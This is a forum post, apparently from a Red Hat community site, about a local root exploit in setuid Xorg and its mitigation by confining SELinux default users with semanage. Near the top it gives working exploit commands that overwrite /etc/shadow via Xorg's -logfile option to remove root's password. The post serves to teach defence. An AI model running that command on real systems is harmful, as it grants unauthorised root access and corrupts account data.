An interesting local privilege escalation vulnerability in Xorg (and how to avoid it)

Hey, all,

While we're waiting for a patch to be released, just a small review of what it's about and what to do to fix it.

On systems where Xorg binary is deployed setuid-root, and due to insufficient input checking, it is possible to exploit the program to obtain unauthorised privilege escalation ability.

This is primarily due to two options, one to specify module path (but that one is more difficult to exploit, because one would have to have a correctly written and compiled Xorg loadable module matching the version of the binary used in the attack), and one to specify the log file path.

The log file attack is indeed very straightforward: (first back up and then) overwrite the shadow file with an entry that effectively removes the root user's password and use "su - root".

$ sudo cp /etc/shadow /etc/shadow-backup
$ cd /etc
$ Xorg -fp 'root:::0:99999:7:::' -logfile shadow :1
[switch back to a usable VT - mind, you won't be able to login except as root after overwriting shadow]
$ su - root
# boom

This is another one of the cases where correct system configuration can prevent this sort of thing from happening, First of all, there is absolutely no reason to have Xorg present on a server and this recent exploit only goes to reinforce this statement, but on systems where one absolutely can not avoid that, there are two options to avoid the above exploit:

  • deploy Xorg non-setuid root, but with some additional capabilities it needs for DRM (this requires some testing to get right, but is the least invasive)
  • set your default SELinux user policy to confined (it defaults to unconfined_t)

Because the second approach is much simpler and it allows for overall improvements in security, I'll quickly outline why the above is possible and what the correct approach to fix it is.

In SELinux, both files and processes have security labels, and a security policy defines what actions on behalf of a process with a certain label (or as we call it, scontext) are possible towards a file with a certain label (or tcontext).

For processes to be able to change their label (for example, systemd has a label of init_t whereas sshd, which is started by systemd and would normally inherit its label, has a label of sshd_t), a transition has to be defined in the security policy.

This is all true in Xorg case as well, as Xorg actually does get a special context type of xserver_t upon startup, because there is a transition rule in the targeted policy that says any executed file with the file type of xserver_exec_t should become an xserver_t type of process.

However, we are only looking at the context type here. The role and user components of the process label are not subject to this transition, and if an unconfined user executes the Xorg binary, the process effectively remains unconfined:

$ id -Z
$ Xorg :1 &
$ ps -q $(pgrep Xorg | tail -n1) -Z
LABEL                              PID TTY          TIME CMD
unconfined_u:unconfined_r:xserver_t:s0-s0:c0.c1023 5561 tty2 00:00:00 Xorg

So the clear answer to this problem is that interactive users should be confined by default, which they are not (notice the line starting with __default__):

# semanage login -l
Login Name           SELinux User         MLS/MCS Range        Service
__default__          unconfined_u         s0-s0:c0.c1023       *
root                 unconfined_u         s0-s0:c0.c1023       *
system_u             system_u             s0-s0:c0.c1023       *

If we want to have users confined by default, the SELinux User's and Administrator's Guide states there are several SELinux users available:

# semanage user -l
                Labelling  MLS/       MLS/                          
SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles
guest_u         user       s0         s0                             guest_r
root            user       s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r unconfined_r
staff_u         user       s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r unconfined_r
sysadm_u        user       s0         s0-s0:c0.c1023                 sysadm_r
system_u        user       s0         s0-s0:c0.c1023                 system_r unconfined_r
unconfined_u    user       s0         s0-s0:c0.c1023                 system_r unconfined_r
user_u          user       s0         s0                             user_r
xguest_u        user       s0         s0                             xguest_r

Each of the above SELinux users is a bearer of one or more security roles that determine what kinds of actions they can perform, and there are also several boolean settings you can tune to further restrict or relax certain things they are allowed to do.

The immediate thing to do in the Xorg case is to change the default isolation level of interactive users to something like user_u (with the added note the allowable MLS/MCS Range for user_u is only s0, so that needs to be changed as well):

# semanage login -m -s user_u -r s0 __default__

That's all!

If you want to learn more about SELinux, I invite you to have a look at the excellent SELinux Coloring Book by Dan Walsh and Máirín Duffy for the basics. If you want to learn about the icing on the cake, we have recently released a new course called Red Hat Security: Linux in Physical, Virtual, and Cloud that talks about SELinux among other things (it is very much recommended to have RHCE certification or equivalent skills because this really is an advanced course).

Good luck securing your systems!

A black cat crossing the street signifies that the animal is going somewhere.
[don't forget to kudo a helpful post or mark it as a solution!]
Labels (4)
Tags (1)
0 Replies
Join the discussion
You must log in to join this conversation.